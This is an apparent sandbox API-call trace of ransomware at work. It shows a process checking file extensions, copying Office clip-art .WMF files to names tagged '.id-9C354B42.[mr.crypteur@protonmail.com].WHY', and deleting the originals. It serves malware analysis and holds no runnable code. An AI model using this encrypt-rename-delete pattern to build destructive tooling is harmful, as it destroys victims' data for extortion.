[0251.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString=".docx") returned 5 [0251.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.969] lstrlenW (lpString=".pdf") returned 4 [0251.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString=".xls") returned 4 [0251.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.969] lstrlenW (lpString=".xlsx") returned 5 [0251.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.969] lstrlenW (lpString=".ppt") returned 4 [0251.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.970] lstrlenW (lpString=".zip") returned 4 [0251.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.970] lstrlenW (lpString=".rar") returned 4 [0251.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.970] lstrlenW (lpString=".bz2") returned 4 [0251.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.970] lstrlenW (lpString=".7z") returned 3 [0251.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.970] lstrlenW (lpString=".dbf") returned 4 [0251.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.971] lstrlenW (lpString=".1cd") returned 4 [0251.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.971] lstrlenW (lpString=".jpg") returned 4 [0251.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.971] lstrlenW (lpString=".doc") returned 4 [0251.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.971] lstrlenW (lpString=".docx") returned 5 [0251.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.972] lstrlenW (lpString=".pdf") returned 4 [0251.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.972] lstrlenW (lpString=".xls") returned 4 [0251.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.972] lstrlenW (lpString=".xlsx") returned 5 [0251.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.972] lstrlenW (lpString=".ppt") returned 4 [0251.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.972] lstrlenW (lpString=".zip") returned 4 [0251.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.972] lstrlenW (lpString=".rar") returned 4 [0251.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.972] lstrlenW (lpString=".bz2") returned 4 [0251.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.973] lstrlenW (lpString=".7z") returned 3 [0251.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.973] lstrlenW (lpString=".dbf") returned 4 [0251.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.973] lstrlenW (lpString=".1cd") returned 4 [0251.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.973] lstrlenW (lpString=".jpg") returned 4 [0251.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.974] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0251.974] lstrlenW (lpString="AN04108_.WMF") returned 12 [0251.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0251.975] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2344) returned 1 [0251.975] CloseHandle (hObject=0x394) returned 1 [0251.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0251.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0251.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0251.976] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.977] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0251.978] GetLastError () returned 0x0 [0251.978] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x928, lpOverlapped=0x0) returned 1 [0252.079] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x930, lpOverlapped=0x0) returned 1 [0252.083] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.084] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.084] SetEndOfFile (hFile=0x354) returned 1 [0253.218] CloseHandle (hObject=0x354) returned 1 [0253.220] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.220] SetEndOfFile (hFile=0x394) returned 1 [0253.658] CloseHandle (hObject=0x394) returned 1 [0253.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0253.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0254.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.002] lstrlenW (lpString=".doc") returned 4 [0254.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.003] lstrlenW (lpString=".docx") returned 5 [0254.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.003] lstrlenW (lpString=".pdf") returned 4 [0254.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.003] lstrlenW (lpString=".xls") returned 4 [0254.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.003] lstrlenW (lpString=".xlsx") returned 5 [0254.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.003] lstrlenW (lpString=".ppt") returned 4 [0254.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.003] lstrlenW (lpString=".zip") returned 4 [0254.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.004] lstrlenW (lpString=".rar") returned 4 [0254.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.004] lstrlenW (lpString=".bz2") returned 4 [0254.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.004] lstrlenW (lpString=".7z") returned 3 [0254.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.004] lstrlenW (lpString=".dbf") returned 4 [0254.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.004] lstrlenW (lpString=".1cd") returned 4 [0254.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.004] lstrlenW (lpString=".jpg") returned 4 [0254.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.005] lstrlenW (lpString=".doc") returned 4 [0254.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.005] lstrlenW (lpString=".docx") returned 5 [0254.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.005] lstrlenW (lpString=".pdf") returned 4 [0254.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.005] lstrlenW (lpString=".xls") returned 4 [0254.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.005] lstrlenW (lpString=".xlsx") returned 5 [0254.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.005] lstrlenW (lpString=".ppt") returned 4 [0254.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.006] lstrlenW (lpString=".zip") returned 4 [0254.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.006] lstrlenW (lpString=".rar") returned 4 [0254.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.006] lstrlenW (lpString=".bz2") returned 4 [0254.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.006] lstrlenW (lpString=".7z") returned 3 [0254.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.006] lstrlenW (lpString=".dbf") returned 4 [0254.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.007] lstrlenW (lpString=".1cd") returned 4 [0254.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0254.007] lstrlenW (lpString=".jpg") returned 4 [0254.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.007] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0254.007] lstrlenW (lpString="AN04134_.WMF") returned 12 [0254.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.008] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3416) returned 1 [0254.008] CloseHandle (hObject=0x3b4) returned 1 [0254.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0254.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0254.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.009] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.010] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0254.010] GetLastError () returned 0x0 [0254.010] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xd58, lpOverlapped=0x0) returned 1 [0255.562] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0255.566] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.573] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.573] SetEndOfFile (hFile=0x39c) returned 1 [0257.938] CloseHandle (hObject=0x39c) returned 1 [0258.791] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.791] SetEndOfFile (hFile=0x3b4) returned 1 [0259.100] CloseHandle (hObject=0x3b4) returned 1 [0259.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0259.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0259.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.481] lstrlenW (lpString=".doc") returned 4 [0259.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.481] lstrlenW (lpString=".docx") returned 5 [0259.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.481] lstrlenW (lpString=".pdf") returned 4 [0259.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.481] lstrlenW (lpString=".xls") returned 4 [0259.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.482] lstrlenW (lpString=".xlsx") returned 5 [0259.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.482] lstrlenW (lpString=".ppt") returned 4 [0259.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.482] lstrlenW (lpString=".zip") returned 4 [0259.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.482] lstrlenW (lpString=".rar") returned 4 [0259.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.482] lstrlenW (lpString=".bz2") returned 4 [0259.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.482] lstrlenW (lpString=".7z") returned 3 [0259.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.483] lstrlenW (lpString=".dbf") returned 4 [0259.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.483] lstrlenW (lpString=".1cd") returned 4 [0259.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.483] lstrlenW (lpString=".jpg") returned 4 [0259.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.484] lstrlenW (lpString=".doc") returned 4 [0259.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.484] lstrlenW (lpString=".docx") returned 5 [0259.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.484] lstrlenW (lpString=".pdf") returned 4 [0259.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.484] lstrlenW (lpString=".xls") returned 4 [0259.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.484] lstrlenW (lpString=".xlsx") returned 5 [0259.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.485] lstrlenW (lpString=".ppt") returned 4 [0259.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.485] lstrlenW (lpString=".zip") returned 4 [0259.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.485] lstrlenW (lpString=".rar") returned 4 [0259.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.485] lstrlenW (lpString=".bz2") returned 4 [0259.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.485] lstrlenW (lpString=".7z") returned 3 [0259.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.485] lstrlenW (lpString=".dbf") returned 4 [0259.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.486] lstrlenW (lpString=".1cd") returned 4 [0259.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0259.486] lstrlenW (lpString=".jpg") returned 4 [0259.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.486] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0259.487] lstrlenW (lpString="AN04174_.WMF") returned 12 [0259.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0259.490] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2636) returned 1 [0259.490] CloseHandle (hObject=0x3bc) returned 1 [0259.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0259.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0259.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0259.491] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.491] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.612] GetLastError () returned 0x0 [0268.612] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0268.677] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0268.755] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.755] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.005] SetEndOfFile (hFile=0x3a8) returned 1 [0269.564] CloseHandle (hObject=0x3a8) returned 1 [0269.575] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.576] SetEndOfFile (hFile=0x3bc) returned 1 [0269.648] CloseHandle (hObject=0x3bc) returned 1 [0269.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0270.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0271.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.660] lstrlenW (lpString=".doc") returned 4 [0271.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.660] lstrlenW (lpString=".docx") returned 5 [0271.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.660] lstrlenW (lpString=".pdf") returned 4 [0271.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.660] lstrlenW (lpString=".xls") returned 4 [0271.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.660] lstrlenW (lpString=".xlsx") returned 5 [0271.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.660] lstrlenW (lpString=".ppt") returned 4 [0271.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.661] lstrlenW (lpString="C:\\Program Files\\Microsoft 